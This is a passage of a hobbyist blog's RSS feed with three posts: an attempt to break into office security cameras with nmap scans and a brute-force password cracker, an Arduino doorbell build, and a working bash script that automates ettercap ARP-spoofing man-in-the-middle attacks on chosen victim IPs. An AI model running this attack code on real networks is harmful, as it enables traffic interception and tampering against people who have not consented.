<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/cranklin.wordpress.com/781/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/cranklin.wordpress.com/781/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cranklin.wordpress.com&#038;blog=18170724&#038;post=781&#038;subd=cranklin&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://cranklin.wordpress.com/2012/11/05/my-nuclear-facebook-poking-bot/feed/</wfw:commentRss>
		<slash:comments>34</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/c1f4f7ef7c3d1b74247b015dfef15292?s=96&#38;d=http%3A%2F%2F0.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D96&#38;r=G" medium="image">
			<media:title type="html">cranklin</media:title>
		</media:content>

		<media:content url="http://www.cranklin.com/pokebot/pokebotphoto5.png" medium="image" />

		<media:content url="http://www.cranklin.com/pokebot/pokebotphoto6.png" medium="image" />

		<media:content url="http://www.cranklin.com/pokebot/pokebotphoto7.png" medium="image" />

		<media:content url="http://www.cranklin.com/pokebot/pokebotphoto9.png" medium="image" />

		<media:content url="http://www.cranklin.com/pokebot/pokebotphoto8.png" medium="image" />

		<media:content url="http://www.cranklin.com/pokebot/pokebotphoto2.png" medium="image" />

		<media:content url="http://www.cranklin.com/pokebot/pokebotphoto4.png" medium="image" />

		<media:content url="http://www.cranklin.com/pokebot/pokebotphoto1.gif" medium="image" />
	</item>
		<item>
		<title>Hacking Into That Security Camera!</title>
		<link>http://cranklin.wordpress.com/2012/09/14/hacking-into-that-security-camera/</link>
		<comments>http://cranklin.wordpress.com/2012/09/14/hacking-into-that-security-camera/#comments</comments>
		<pubDate>Fri, 14 Sep 2012 19:16:09 +0000</pubDate>
		<dc:creator>cranklin</dc:creator>
				<category><![CDATA[Hacks]]></category>
		<category><![CDATA[brute force]]></category>
		<category><![CDATA[dlink]]></category>
		<category><![CDATA[engineering]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[hacks]]></category>
		<category><![CDATA[http auth]]></category>
		<category><![CDATA[network security]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[security camera]]></category>
		<category><![CDATA[surveillance camera]]></category>

		<guid isPermaLink="false">http://cranklin.wordpress.com/?p=653</guid>
		<description><![CDATA[I had the pleasure of working at LaunchPad LA because of Triptrotting. In case you&#8217;re unfamiliar with Launchpad LA, it is a startup accelerator and mentorship program founded by Mark Suster. One day, while I was at Launchpad&#8230; I was staring at code too long, so I leaned back in my chair to rest my [&#8230;]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cranklin.wordpress.com&#038;blog=18170724&#038;post=653&#038;subd=cranklin&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>I had the pleasure of working at <a href="http://launchpad.la">LaunchPad LA</a> because of Triptrotting.  In case you&#8217;re unfamiliar with Launchpad LA, it is a startup accelerator and mentorship program founded by Mark Suster.</p>
<p>  One day, while I was at Launchpad&#8230; <br />
I was staring at code too long, so I leaned back in my chair to rest my eyes.  I zoned out for a moment and focused on a wireless DLink IP security cam that Kyle Taylor had set up.<br />
<br />
<img src="http://www.cranklin.com/camerahack/camera1.jpg" width="500px" /><br />
<br /><i>Hmmm&#8230;. I wonder if I can hack into that thing.  </i><br />
I glanced over at Shawn Faison and said, &#8220;Hey Shawn, wanna race to see who can hack into that security camera first?&#8221;<br />Shawn is a fun guy and he loves a challenge, so naturally, he accepted.  I later extended the challenge to Philip Hayes (a talented young programmer).  Why am I so fascinated with <a href="http://cranklin.wordpress.com/2011/05/24/my-lunch-cam-money-jar-hack/" target="_blank">security cameras at incubators</a>?  Lol.</p>
<p>First, I had to find the IP of this camera.<br />
I started with a &#8216;ping -b&#8217; to the broadcast IP followed by an &#8216;arp -a&#8217;.  Yup&#8230; this router started listing out all the names of all the devices connected to the network along with the associated IP address.  I saw names of peoples&#8217; computers, iphones, ipads&#8230;. but no security camera.</p>
<p>Next, I ran a &#8216;nmap -sP 192.168.1.*&#8217; to see a list of IP&#8217;s.  With the help of nmap I narrowed down my search to just the IP&#8217;s with port 80 or 8080 open.  <br />
I tried entering each of these IP&#8217;s in my browser to see what showed up&#8230;. and there it was.  A HTTP AUTH protected webpage that was titled &#8220;DLink DCS-932L&#8221;.  But wait, there were 2 different IP&#8217;s that had DLink HTTP AUTH protected pages.  I started looking around and noticed a second IP security cam!  I never noticed that 2nd one before.  </p>
<p><img src="http://www.cranklin.com/camerahack/camera2.jpg" width="500px" /></p>
<p>Okay, found the cameras.  If by any chance the cameras kept the default passwords, all I would need to do is search online for a manual and try the default credentials.  Nope.  Didn&#8217;t work.</p>
<p>Now, I could technically perform a man-in-the-middle attack on Sam Teller or Kyle Taylor and wait for one of them to log into the camera feed and simply intercept the password&#8230;. But that is just plain wrong and against the spirit of this friendly competition.  So I wrote a HTTP AUTH brute force cracker script.  Believe it or not, I couldn&#8217;t actually find one online besides dictionary attack scripts.  So here is my contribution to the script kiddies of the world:</p>
<p><a href="https://github.com/cranklin/http-auth-crack" target="_blank">Download from github</a></p>
<p>I let my script run for just a little while before I stopped it.  It would take too long and I&#8217;m pretty certain Kyle picked a crazy long upper/lowercase alphanumeric + symbol password which I really didn&#8217;t want to bother cracking.  The whole point of this exercise was to learn and have fun.</p>
<p>So in the end, while I got closest, none of us actually hacked into the Launchpad LA security cams.  Important lesson for you readers:  USE crazy long upper/lowercase alphanumeric + symbol passwords!</p>
<p>Good job Kyle Taylor.  You win this one&#8230; you win this one&#8230; *evil grin.  </p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/cranklin.wordpress.com/653/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/cranklin.wordpress.com/653/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cranklin.wordpress.com&#038;blog=18170724&#038;post=653&#038;subd=cranklin&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://cranklin.wordpress.com/2012/09/14/hacking-into-that-security-camera/feed/</wfw:commentRss>
		<slash:comments>25</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/c1f4f7ef7c3d1b74247b015dfef15292?s=96&#38;d=http%3A%2F%2F0.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D96&#38;r=G" medium="image">
			<media:title type="html">cranklin</media:title>
		</media:content>

		<media:content url="http://www.cranklin.com/camerahack/camera1.jpg" medium="image" />

		<media:content url="http://www.cranklin.com/camerahack/camera2.jpg" medium="image" />
	</item>
		<item>
		<title>My Experimental Doorbell</title>
		<link>http://cranklin.wordpress.com/2012/08/20/my-experimental-doorbell/</link>
		<comments>http://cranklin.wordpress.com/2012/08/20/my-experimental-doorbell/#comments</comments>
		<pubDate>Mon, 20 Aug 2012 16:07:51 +0000</pubDate>
		<dc:creator>cranklin</dc:creator>
				<category><![CDATA[Hacks]]></category>
		<category><![CDATA[arduino]]></category>
		<category><![CDATA[doorbell]]></category>
		<category><![CDATA[hacks]]></category>
		<category><![CDATA[home automation]]></category>
		<category><![CDATA[home security]]></category>
		<category><![CDATA[intrusion detection]]></category>
		<category><![CDATA[jarvis]]></category>
		<category><![CDATA[motion detection]]></category>
		<category><![CDATA[siri]]></category>

		<guid isPermaLink="false">http://cranklin.wordpress.com/?p=658</guid>
		<description><![CDATA[My doorbell is old&#8230; it&#8217;s ugly&#8230; it&#8217;s disconnected&#8230; it deserves an upgrade. (It says &#8220;live better electrically&#8221;. What is this? The &#8217;60&#8242;s?) So I went on amazon.com to browse through doorbells, but I was a little disappointed. Something bothers me about their selection of doorbells. They&#8217;re archaic. Yes. I want to build my own &#8220;different&#8221; [&#8230;]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cranklin.wordpress.com&#038;blog=18170724&#038;post=658&#038;subd=cranklin&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>My doorbell is old&#8230; it&#8217;s ugly&#8230; it&#8217;s disconnected&#8230; it deserves an upgrade.</p>
<p><img src="http://www.cranklin.com/doorbell/doorbell1.jpg" width="500px" /><br />
<img src="http://www.cranklin.com/doorbell/doorbell2.jpg" width="500px" /><br />(It says &#8220;live better electrically&#8221;.  What is this?  The &#8217;60&#8242;s?)</p>
<p>So I went on amazon.com to browse through doorbells, but I was a little disappointed.  Something bothers me about their selection of doorbells.  They&#8217;re archaic.  Yes.  I want to build my own &#8220;different&#8221; kind of doorbell.  </p>
<p>Here are the features I want:</p>
<p>- No buttons.  I want it to be fully motion sensored.<br />
- Voice greeting.  I want Jarvis to greet the visitor.<br />
- Voice alert.  I want Jarvis to notify me (inside the house or wherever I am) that somebody is at my door.<br />
- Logging.  I want Jarvis to log and timestamp every time I have a visitor.  On top of that, I want Jarvis to store snapshots of the person that&#8217;s at my door.</p>
<p>THAT is what I want to see in my doorbell.<br />
So&#8230; Let&#8217;s make this happen.</p>
<p>First, I need a PIR (passive infrared) motion sensor.  </p>
<p><img src="http://www.cranklin.com/doorbell/doorbell4.jpg" width="500px" /></p>
<p>  Now take my word for it, this is one of the FEW times where something is actually cheaper at Radio Shack than ebay.  No joke.  At best, you&#8217;ll find the same PIR module at a similar price.</p>
<p>PIR sensors are great for projects that require motion detection.  They are great for alarm systems, automatic lights, doors, urinals&#8230;. NOT bowl toilets.  I repeat, they are terrible for sit-down toilets.  I don&#8217;t understand why toilet manufacturers STILL use them.  It flushes while you&#8217;re trying to lay sheets of toilet seat cover, and it doesn&#8217;t flush when you want it to.  </p>
<p>PIR modules are very easy to use.  The latest ones from parallax (the ones they sell at radio shack) output 5v upon movement.  This means you can use it to power something small without a microcontroller and/or transistor.<br />
In my case, I want it to activate a voice recording.  </p>
<p>Second, I need a way to play back recorded voices.<br />
In my previous projects, I used a piezo transducer to produce sounds&#8230; but those are limited to beeps.  Making your arduino play recorded sounds, voices, and or music is a bit trickier.  The easiest way to accomplish this is to use something like an arduino &#8220;wave shield&#8221;.  </p>
<p><img src="http://www.cranklin.com/doorbell/doorbell3.jpg" /></p>
<p>  These are sold on ebay for about $20.  I just need to plug a speaker into the wave shield so visitors can hear Jarvis&#8217; friendly voice.</p>
<p>The other components I will need include an arduino ethernet shield, a surveillance camera, and Jarvis of course.</p>
<h2>This is how my &#8220;doorbell&#8221; will work:</h2>
<p>
1) PIR sensor detects motion.<br />
2) Did it already detect motion?  If so jump back to 1.  Otherwise, go to 3.<br />
3) Trigger pre-recorded voice of Jarvis on wave shield that says &#8220;Hello.  I am notifying my master that you are here&#8221;.<br />
4) Make a call to the doorbell server API and let it know that I have a visitor.<br />
5) Server takes a feed off the front door surveillance cam and creates a snapshot image.<br />
6) Server takes that snapshot image and converts it into a base64 encoded dataurl so we don&#8217;t have to store the image as a file.<br />
7) Server logs that data and timestamps it.<br />
8) Meanwhile, Jarvis is polling the doorbell server via ajax requests.<br />
9) Does Jarvis see new visitor data?  If so, alert me with &#8220;You have a visitor&#8221; and show me a snapshot from my front doorstep on my screen.</p>
<h2>Piecing it together</h2>
<p><img src="http://www.cranklin.com/doorbell/doorbell7.jpg" width="500px" /><br />
I stacked the ethernet shield on top of the arduino, and I stacked the wave shield on top of the ethernet shield.<br />
I only needed 3 wires:  +5v, gnd, and digital pin 4.  All of which goes to the PIR sensor.</p>
<p>You can view the arduino source code <a href="http://www.cranklin.com/doorbell/doorbell.txt" target="_blank">here</a>.</p>
<p>I ran a few tests which proved to be successful.<br />
<br />
<img src="http://www.cranklin.com/doorbell/doorbell8.jpg" width="500px" /><br />
<br />
and a closer look at Jarvis when she alerts me of a visitor:<br />
<img src="http://www.cranklin.com/doorbell/doorbell5.png" width="600px" /><br />
</p>
<h2>Here is a video of my prototype doorbell in action:</h2>
<p><span class='embed-youtube' style='text-align:center; display: block;'><iframe class='youtube-player' type='text/html' width='497' height='310' src='http://www.youtube.com/embed/pxxlj4w00zg?version=3&#038;rel=1&#038;fs=1&#038;showsearch=0&#038;showinfo=1&#038;iv_load_policy=1&#038;wmode=transparent' frameborder='0'></iframe></span></p>
<p>Cool!  All I have to do now is install it!  On second thought, I&#8217;m probably going to wait for the weather to cool down.  Running wire through the baking hot attic in the summertime does NOT sound fun.  </p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/cranklin.wordpress.com/658/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/cranklin.wordpress.com/658/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cranklin.wordpress.com&#038;blog=18170724&#038;post=658&#038;subd=cranklin&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://cranklin.wordpress.com/2012/08/20/my-experimental-doorbell/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/c1f4f7ef7c3d1b74247b015dfef15292?s=96&#38;d=http%3A%2F%2F0.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D96&#38;r=G" medium="image">
			<media:title type="html">cranklin</media:title>
		</media:content>

		<media:content url="http://www.cranklin.com/doorbell/doorbell1.jpg" medium="image" />

		<media:content url="http://www.cranklin.com/doorbell/doorbell2.jpg" medium="image" />

		<media:content url="http://www.cranklin.com/doorbell/doorbell4.jpg" medium="image" />

		<media:content url="http://www.cranklin.com/doorbell/doorbell3.jpg" medium="image" />

		<media:content url="http://www.cranklin.com/doorbell/doorbell7.jpg" medium="image" />

		<media:content url="http://www.cranklin.com/doorbell/doorbell8.jpg" medium="image" />

		<media:content url="http://www.cranklin.com/doorbell/doorbell5.png" medium="image" />
	</item>
		<item>
		<title>Hacking Is So Easy, Even a Computer Can Do It</title>
		<link>http://cranklin.wordpress.com/2012/07/16/hacking-is-so-easy-even-a-computer-can-do-it/</link>
		<comments>http://cranklin.wordpress.com/2012/07/16/hacking-is-so-easy-even-a-computer-can-do-it/#comments</comments>
		<pubDate>Mon, 16 Jul 2012 06:59:48 +0000</pubDate>
		<dc:creator>cranklin</dc:creator>
				<category><![CDATA[Hacks]]></category>
		<category><![CDATA[attack]]></category>
		<category><![CDATA[ettercap]]></category>
		<category><![CDATA[ettercap filters]]></category>
		<category><![CDATA[etterfilter]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[hacks]]></category>
		<category><![CDATA[home automation]]></category>
		<category><![CDATA[jarvis]]></category>
		<category><![CDATA[man-in-the-middle]]></category>
		<category><![CDATA[mitm]]></category>
		<category><![CDATA[siri]]></category>

		<guid isPermaLink="false">http://cranklin.wordpress.com/?p=660</guid>
		<description><![CDATA[In The Avengers, there was a scene where Tony Stark had Jarvis hack into the Avengers mainframe. I remember thinking, &#8220;how cool! I want to teach MY jarvis to do that!&#8221;. Now, I don&#8217;t think any task is purely heuristic (except love, maybe?). Everything can be done systematically and/or algorithmically. It&#8217;s just a matter of [&#8230;]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cranklin.wordpress.com&#038;blog=18170724&#038;post=660&#038;subd=cranklin&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>In <i>The Avengers</i>, there was a scene where Tony Stark had Jarvis hack into the Avengers mainframe.  </p>
<p><img src="http://www.cranklin.com/mitmhacksareeasy/tonystark.jpg" /></p>
<p>I remember thinking, &#8220;how cool!  I want to teach <a href="http://cranklin.wordpress.com/2012/01/13/building-my-own-siri-jarvis/" target="_blank">MY jarvis</a> to do that!&#8221;.</p>
<p>Now, I don&#8217;t think any task is purely heuristic (except love, maybe?).  Everything can be done systematically and/or algorithmically.  It&#8217;s just a matter of discovering that system or algorithm.  Even factoring large numbers (which, if discovered, will collapse the current state of online security).</p>
<p>So I decided to teach Jarvis to do a <a href="http://cranklin.wordpress.com/2011/10/13/prank-hacking-your-co-workers-for-fun-2/" target="_blank">Man-In-The-Middle</a> attack on any computer in the network.  Man-in-the-Middle Attacks are easy to perform.  With the right filters in place, you can do lots of cool things.  I already created a bunch of different filters that do different things&#8230;. so it&#8217;s just a matter of automating that process.</p>
<p>First, I wrote a Bash script that runs different kinds of ettercap commands and filters and targets different IP&#8217;s.</p>
<pre>
<code>
#!/bin/bash

if [ $# -eq 0 ]
then
    kill -9 `ps -eo comm,pid | awk '$1 == "ettercap" { print $2 }'`
else
    sh -c "echo 1 &gt; /proc/sys/net/ipv4/ip_forward"
    if [ $3 = mickey ]
    then
        ettercap -i eth1 -T -q -F mickeymouse.ef -M arp:remote /$1/ /$2/
    elif [ $3 = link ]
    then
        ettercap -i eth1 -T -q -F hrefhack.ef -M arp:remote /$1/ /$2/
    else
        ettercap -i eth1 -T -q -F metasploit.ef -M arp:remote /$1/ /$2/
    fi
fi
</code>
</pre>
<p>note: running your script as anybody other than su will have insufficient permissions.  I leave it up to you to handle that<br />
note 2: Those .ef files are my compiled filters.  If you want to learn more about ettercap filters, search google or <a href="http://cranklin.wordpress.com/2011/10/13/prank-hacking-your-co-workers-for-fun-2/" target="_blank">read this.</a><br />
The .ef files shown here are just 3 of many compiled ettercap filters.  The mickeymouse.ef replaces all images with my mickey mouse image.  The hrefhack.ef filter replaces all href links with <a href="http://cranklin.com" rel="nofollow">http://cranklin.com</a> links.  The metasploit.ef filter takes over the entire page with a giant iframe with the contents of <a href="http://cranklin.com" rel="nofollow">http://cranklin.com</a>.<br />Yes&#8230; harmless but fun.</p>
<p>Now, all I have to do is add another Jarvis conditional to attack a given IP address, and have her run: <br />
<code>exec('mitmscript [gateway IP] [victim IP] [attack type] &gt; /dev/null 2&gt;/dev/nul &amp;');</code></p>
<p>Yup!  That easy!  Let&#8217;s watch her in action!</p>
<p><span class='embed-youtube' style='text-align:center; display: block;'><iframe class='youtube-player' type='text/html' width='497' height='310' src='http://www.youtube.com/embed/mqGYdJbJqs0?version=3&#038;rel=1&#038;fs=1&#038;showsearch=0&#038;showinfo=1&#038;iv_load_policy=1&#038;wmode=transparent' frameborder='0'></iframe></span></p>
<p>For the sake of brevity, I limited the video to demonstrations of 2 different types of attacks.  In actuality, Jarvis is capable of doing many different types of attacks including logging, password sniffing, packet injections, etc etc.  <br />Oh Jarvis. <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />   </p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/cranklin.wordpress.com/660/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/cranklin.wordpress.com/660/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cranklin.wordpress.com&#038;blog=18170724&#038;post=660&#038;subd=cranklin&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://cranklin.wordpress.com/2012/07/16/hacking-is-so-easy-even-a-computer-can-do-it/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/c1f4f7ef7c3d1b74247b015dfef15292?s=96&#38;d=http%3A%2F%2F0.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D96&#38;r=G" medium="image">
			<media:title type="html">cranklin</media:title>
		</media:content>

		<media:content url="http://www.cranklin.com/mitmhacksareeasy/tonystark.jpg" medium="image" />
	</item>
	</channel>
</rss>
